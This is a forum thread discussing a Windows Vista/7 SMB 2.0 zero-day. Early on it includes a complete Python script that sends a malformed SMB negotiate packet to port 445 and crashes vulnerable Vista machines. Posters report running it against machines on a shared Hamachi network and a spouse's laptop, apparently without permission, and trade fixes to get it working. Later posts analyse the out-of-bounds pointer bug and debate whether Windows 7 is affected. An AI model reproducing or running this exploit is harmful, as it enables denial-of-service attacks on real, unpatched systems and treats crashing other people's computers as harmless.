Windows 7, Vista Zero-Day Flaw Reported

Wrote a VB.NET program that sent those bytes to all machines on my Hamachi network, but only a handful of them stopped pinging instantly. A mild success. :p
 
the script could do with a bit of <3

Code:
import sys
import socket
from time import sleep

host = sys.argv[1]
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"

)
s = socket.socket()

s.connect((host, 445))
s.send(buff)
s.close()

ran it against wifies lappy and she got a BSOD

page_fault_in_non_page_area in srv2.sys

You left out the important info, OS please?

Love the signature. I'll take Windows abuse over Linux any day!:D
 
I've been running Microsoft Security Essentials on all of my desktops for months now. Everything I've tested it against it found. Sure AV isn't perfect, sorry you're spreading FUD however. Good AV scanners do a very good job of picking up threats.

I am not trying to spread FUD by any means. Antivirus can still be useful tool and save time cleaning a system. In my experience cleaning hundreds of totally unusable machines antivirus does not work well enough to be considered reliable protection on critical systems. Antivirus often does not clean a system 100% after it has already been infected. Nor does antivirus software repair damage (like altered/replaced/unregistered files) done to a system by a virus. Antivirus does not even bother to police registry policy values that lock down a users ability to operate the computer. Furthermore antivirus does not even include a full version that allows you to scan and boot from CD/DVD/USB to reliably detect rootkits and hidden files. Those are all HUGE fail points in my gradebook. Same fails go for antispyware tools as well.

I am not sure where you get your samples from but throw some real stuff at it from the newsgroups, crack websites, those random im's you get from unknown people. Also try running a VM and pretend to be the worst user you can think of by installing spyware and opening those bad email attachments, after a week running that VM you will have all the samples you need in the system32 directory. If you take those samples and run them through virustotal.com you will see that even the best AV are too spotty. Reliable to me is 99.9% detection rate. Given the number of times ignorant users are exposed to threats in the course of a single session using the computer anything less would result in getting infected too frequently.

I haven't used antivirus on my machine for years and the only time I get a virus is when I put one on there intentionally.
 
Tried the exploit on a second Windows 7 RTM machine. Not so much as a hiccup. Not going to try it against the RC, as I don't have any systems running the RC anymore.

You left out the important info, OS please?
Seconded. I have no Vista machines handy to abuse.
 
the script could do with a bit of <3

<snip>
Just tried your version, still nothing.

I like your improvements. I had to add a line that said "from socket import *" before the script would work for me.
 
Just tried your version, still nothing.

I like your improvements. I had to add a line that said "from socket import *" before the script would work for me.

You trying it from windows. Turns out there is a bug in windows python with the most recent. If you drop to what they class as stable it should work
A mate on IRC couldn't get it to work against localhost and vista and latest&greatest python

Some note abt bug in py_windows socket stack and downgrade to stable and suddenly he disconnected from IRC
 
You trying it from windows. Turns out there is a bug in windows python with the most recent. If you drop to what they class as stable it should work
A mate on IRC couldn't get it to work against localhost and vista and latest&greatest python

Some note abt bug in py_windows socket stack and downgrade to stable and suddenly he disconnected from IRC
bzzt, sorry. I have a Linux machine executing the attack.
 
bzzt, sorry. I have a Linux machine executing the attack.

ahh ok. If you ran it from windows you would have got:


<Samwise> C:\Python31>python bsod.py 127.0.0.1
<Samwise> Traceback (most recent call last):
<Samwise> File "bsod.py", line 28, in <module>
<Samwise> s.send(buff)
<Samwise> TypeError: must be bytes or buffer, not str


py26 is good tho
 
Okay, this "attack" looks like its got a few bugs of its own. Nothing to see here.
 
Okay, this "attack" looks like its got a few bugs of its own. Nothing to see here.
From what I've heard on the internet the attack works (with some minor syntax corrections) against Vista machines with regularity. I am working on testing one personally, but our friend from across the pond just got his wife's Vista laptop to crash with no problem.

It just looks like Win7 RTM was incorrectly reported as affected. Does anyone have the RC running that is willing to test it?
 
From what I've heard on the internet the attack works (with some minor syntax corrections) against Vista machines with regularity. I am working on testing one personally, but our friend from across the pond just got his wife's Vista laptop to crash with no problem.

It just looks like Win7 RTM was incorrectly reported as affected. Does anyone have the RC running that is willing to test it?

You are correct sir. Been motoring this flaw and it does seem to affect Vista SP2 but 7 RTM doesn't look to be affected but I guess the guy who reported it wanted to get a little splash by reporting the first security flaw in Windows 7 and may not have tried the RTM.

Yet another reason to upgrade!:D
 
You are correct sir. Been motoring this flaw and it does seem to affect Vista SP2 but 7 RTM doesn't look to be affected

[...]

All we know is that this particular exploit doesn't work on 7 RTM. The flaw could very well be there still, especially given the reports that Windows 7 uses the same SMB2.0 driver.
 
Well, considering that the complete exploit has been posted in this topic three times now, I'm guessing it isn't really a big deal.

Love the signature. I'll take Windows abuse over Linux any day!:D

Oh, that's nothing, I once saw in someone's signature (could have been his): "the day MS makes a product that doesn't suck is the day they make a vacuum cleaner." :p
 
All we know is that this particular exploit doesn't work on 7 RTM. The flaw could very well be there still, especially given the reports that Windows 7 uses the same SMB2.0 driver.

Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?:confused:
 
Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?:confused:

Perhaps 7 has some low-level kernel protections to prevent *any* code from doing this?

Just speculating: I don't know much about this topic.
 
Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?:confused:
Yeah, if there's a flaw in how the driver deals with malformed SMB headers, sending the same malformed header to Vista and 7 should produce similar results if they're using the same driver.

I love how the original blogger first responded to reports that his attack fails on Windows 7 with "NO IT DOESN'T!!!" but since others have been weighing in with the same results, he has been strangely quiet.

I am also amused at how he directs people to turn off their firewall and turn on file sharing. I can understand enabling file sharing since that's something many people use, but 7 ships with its firewall enabled by default. Most people have no cause to disable their firewall; therefore, for most people, this is not feasible as a remote exploit (if it requires lowering the firewall).
 
Which begs the question why, if the attack is based in a flaw in the SMB 2.0 driver, it would work in Vista and not 7. How is this possible if the attack is possible because of a flaw in the SAME code?:confused:

Quite easily actually.

The flaw is a security hole which allows remote code execution; it could exist in both Vista and W7 as far as we know.

The code that gets executed however, can have different effects depending on what OS it is executed under. For example, if the code made a system call which only existed in Vista and not W7, then it would have a profoundly different effects. If you run the injected code (posted above in this thread) through a disassembler you can see exactly what instructions are executed.

All we know, is that the proof-of-concept exploit doesn't seem to crash W7 computers, not that it isn't running. I'm not alleging that the flaw does exist in W7, just that this particular exploit doesn't work in W7 is not sufficient evidence to show that the flaw doesn't exist, which is what you are suggesting.
 
Quite easily actually.

The flaw is a security hole which allows remote code execution; it could exist in both Vista and W7 as far as we know.

The code that gets executed however, can have different effects depending on what OS it is executed under. For example, if the code made a system call which only existed in Vista and not W7, then it would have a profoundly different effects. If you run the injected code (posted above in this thread) through a disassembler you can see exactly what instructions are executed.

All we know, is that the proof-of-concept exploit doesn't seem to crash W7 computers, not that it isn't running. I'm not alleging that the flaw does exist in W7, just that this particular exploit doesn't work in W7 is not sufficient evidence to show that the flaw doesn't exist, which is what you are suggesting.

Some more info. No one is getting this to work on 7: http://blogs.zdnet.com/security/?p=4222

And by not working nothing apparently is happening to 7 machines. So if this is a flaw in the driver, and its the SAME code its should have some side effect in 7 no matter what. Maybe something is happening on 7 machines that's not been figured out.
 
So if this is a flaw in the driver, and its the SAME code its should have some side effect in 7 no matter what.

As I explained in my previous post, that's not necessarily the case.

The source for the article you linked is even so careful to not discount the possibility of the flaw existing in W7:
However, in the test, the exploit had no apparent effect on a computer running Windows 7
Which is quite different than saying the flaw is not present in W7.

Someone would have to examine the actual flaw, and see if it is present in W7 to make any determination on that point.
 
As I explained in my previous post, that's not necessarily the case.

The source for the article you linked is even so careful to not discount the possibility of the flaw existing in W7:

Which is quite different than saying the flaw is not present in W7.

Someone would have to examine the actual flaw, and see if it is present in W7 to make any determination on that point.

But if the flaw is in SMB there should be SOME side effect. Even if the call doesn't work in 7 the SMB driver should at least be making the call and should be some side effect in the form of a DEP error or even some crash in the MSB. At the very least there should be some way to detect the call being be in the SMB driver.

If NOTHING happens, no stacks overflowing or calls or ANYTHING something else is going on. Maybe in the coming days we'll hear of something being found in Windows 7 that does show the SMB driver to be affected somehow that for reason doesn't cause a problem in 7.

I mean, if there is NO observable side effect at all something else is up. There has to be SOME effect on the SMB driver even in Windows 7 if the driver is indeed the same. The only other thing that I could think of is that maybe the problem actually ISN'T in the SMB driver, at least not by itself. Maybe something on 7 actually DOES fix the underlying problem.
 
I am not trying to spread FUD by any means. Antivirus can still be useful tool and save time cleaning a system. In my experience cleaning hundreds of totally unusable machines antivirus does not work well enough to be considered reliable protection on critical systems. Antivirus often does not clean a system 100% after it has already been infected. Nor does antivirus software repair damage (like altered/replaced/unregistered files) done to a system by a virus. Antivirus does not even bother to police registry policy values that lock down a users ability to operate the computer. Furthermore antivirus does not even include a full version that allows you to scan and boot from CD/DVD/USB to reliably detect rootkits and hidden files. Those are all HUGE fail points in my gradebook. Same fails go for antispyware tools as well.

I am not sure where you get your samples from but throw some real stuff at it from the newsgroups, crack websites, those random im's you get from unknown people. Also try running a VM and pretend to be the worst user you can think of by installing spyware and opening those bad email attachments, after a week running that VM you will have all the samples you need in the system32 directory. If you take those samples and run them through virustotal.com you will see that even the best AV are too spotty. Reliable to me is 99.9% detection rate. Given the number of times ignorant users are exposed to threats in the course of a single session using the computer anything less would result in getting infected too frequently.

I haven't used antivirus on my machine for years and the only time I get a virus is when I put one on there intentionally.

My favorite was a couple of months ago when we caught laptops from a certain software vendor, we'll call them Wicrosoft, that was sending unsolicited traffic to Russian ip's. They of course were running the Wicrosoft security av whatever. Of course they tried to tell us that the av scan came back clean, so then we lay down the pcaps of said laptops sending all kinds of data collected by the malware into russian ip ranges. They didnt have much to say after that except sorry. They are far from the only vendor to come in with a laptop that has some sort of malware/virus installed. AV using signature detection is pretty much worthless. You can preach proper security practices all you want, but when something like the adobe flaw hits, you wont patch all the pc's on a large network (30,000+) in time, especially a targeted attack. We've been implementing CSA into our environment as we are allowed and it has helped catch a lot of malware/virus along with a lot of poor coding (programs that buffer overflow on purpose).

Bottom line, windows has always sacrificed security for usability. That being said they are improving. Will I ever trust Microsoft? Prob not. I dont trust any software vendor. What I do trust is my own eyes, tcpdump, and a good whois tool.

Good finds on the not working on win7.
 
Well if my credit card ever gets used by someone in Russia besides me I know where to start looking.:)
 
Calm down everybody.

The root of the problem is explained here.

If you don't understand what he's saying, that's okay. Basically, the exploit passes a faulty value in the Process_ID_High field of a SMB packet. The value in this field is later used as the index to an array of pointers to functions. 38 (0x26 in hex, the value used in the sample exploit) is apparently outside the bounds of this array. What exactly is 38 pointers past the start of this array is anyone's guest. On Vista systems, it's apparently a pointer to oblivion. Kernels BSOD when you start executing code at address oblivion.

The fact that Windows 7 doesn't simply crash when it's passed this value isn't necessarily good. What if the value at array[38] is some random number that, when interpreted as a pointer, is the code for format C:? Okay, so yes, the code for the external program "format" isn't randomly in the kernel somewhere, but I'm sure there's something that could be harmful if called by accident and with the wrong parameters. It gets even worse if this is used in a local exploit, with malware spilling a payload somewhere in memory and deliberately putting a pointer to it near that array.

With all that exposition out of the way, I do not think that this flaw is present in Windows 7 RTM. If you go back to the link I posted earlier, there's some disassembled code there. I disassembled the srv2.sys that came with my RTM copy of 7. It was from a 64-bit binary. Crap. Compiler conventions are different, so there's no way to expect the code to look the same.

So I installed the x86 version in a VM and stole its srv2.sys. I could not find the same bound-check-less array access in its disassembly. Specifically, a pointer in eax is called as a pointer to a subroutine thirteen times, and none of those times look exactly like the disassembly in that blog. Unfortunately, none of the disassemblers I've found have been able to give me function names, so I can't specifically go to the named function and see if a bounds check was added.

All that proves is that the driver has been recompiled since Vista, and that at least some changes have probably been made. Was a bounds check added? Consider the fact that I tried a whole bunch of values of Process_ID_High with that exploit code, and 7 didn't flinch.

I eagerly await official word from Microsoft, or someone with a better disassembler and much more time on their hands.
 
But if the flaw is in SMB there should be SOME side effect.

No. This is not necessarily true. There need not be an ostensibly perceivable side effect, which is all your reference is commenting. A crash implies a presence of the flaw, but a lack of a crash implies nothing. Furthermore, the disassembled version of the code pretty clearly illustrates what the flaw is, it also explains why it may or may not crash the system depending on the particular implementation of the exploit.

As someone who has written a number of buffer overflow exploits (purely for academic purposes), I'll add that it is not trivial to get an exploit to do anything substantial other than crashing the process (and even there, not necessarily the system).

@LstOfTheBrunnenG:
Forgive me for being skeptical, but if you're not able to locate the specific function and trace down the equivalent call, then you can't really comment on whether the flaw is there or not. All it really indicates is that you might not know how to work your way around a disassembler, or assembly. You'd need to find the equivalent section of code, and then show that they were now performing a bounds check on before referencing the pointer.

Furthermore, when code is recompiled you're not necessarily going to end up with something that looks the same. Register allocation, for one, may have changed entirely, which means you might not even be looking for the right register.


Finally, I'll add that the flaw may well be gone, but we certainly haven't seen anything that proves that this is the case.
 
Forgive me for being skeptical, but if you're not able to locate the specific function and trace down the equivalent call, then you can't really comment on whether the flaw is there or not. All it really indicates is that you might not know how to work your way around a disassembler, or assembly. You'd need to find the equivalent section of code, and then show that they were now performing a bounds check on before referencing the pointer.

Furthermore, when code is recompiled you're not necessarily going to end up with something that looks the same. Register allocation, for one, may have changed entirely, which means you might not even be looking for the right register.

Finally, I'll add that the flaw may well be gone, but we certainly haven't seen anything that proves that this is the case.
Didn't I say all of that? ;)

All we know are the following:

  • The SMB driver is not "the exact same" driver in Windows 7 and Windows Vista. At the least, it's been recompiled. At the most, it's been changed. Like I said in my previous post, I can't say with certainty whether a bounds check has been added without being able to find the particular function.
  • The provided proof-of-concept code DOES NOT cause Windows 7 RTM machines to bluescreen like it does Vista machines. Even with the value being used as an index being set to a whole slew of different values.
  • I'm going to wait until I hear from either Microsoft or someone with more knowledge than myself to say whether it's definitively in Win7 RTM or not.
  • If anyone has a (free or included in VS2008) disassembler that will spit out correct symbol names for a Windows (.sys) driver, let me know!
 
Back
Top